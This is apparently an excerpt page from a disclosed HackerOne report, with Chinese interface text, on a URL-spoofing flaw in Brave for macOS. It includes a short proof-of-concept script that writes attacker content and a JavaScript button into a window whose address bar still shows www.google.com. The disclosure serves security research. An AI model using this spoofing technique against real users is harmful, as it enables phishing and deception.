URL spoofing in Brave for macOS
该报告还没有中文解读。
原文摘录
摘自原文(940 字符中的一小部分)
URL in address bar is `https://www.google.com/csi`, but actually that's about:blank page. Attacker could inject arbitrary content and execute javascript on this page. Additionally, during alert(), address bar continue displaying `www.google.com`
原文中的代码
<script>
window.onclick = function () {
x = window.open('https://www.google.com/csi');
setTimeout(function () {
x.document.write(`I am not a www.google.com;<button onclick="alert('I can run JS on this page!')">click me</button>`)
}, 100);
}
</script>默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Brave Software 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @metnew · 版权归作者与 Brave Software 所有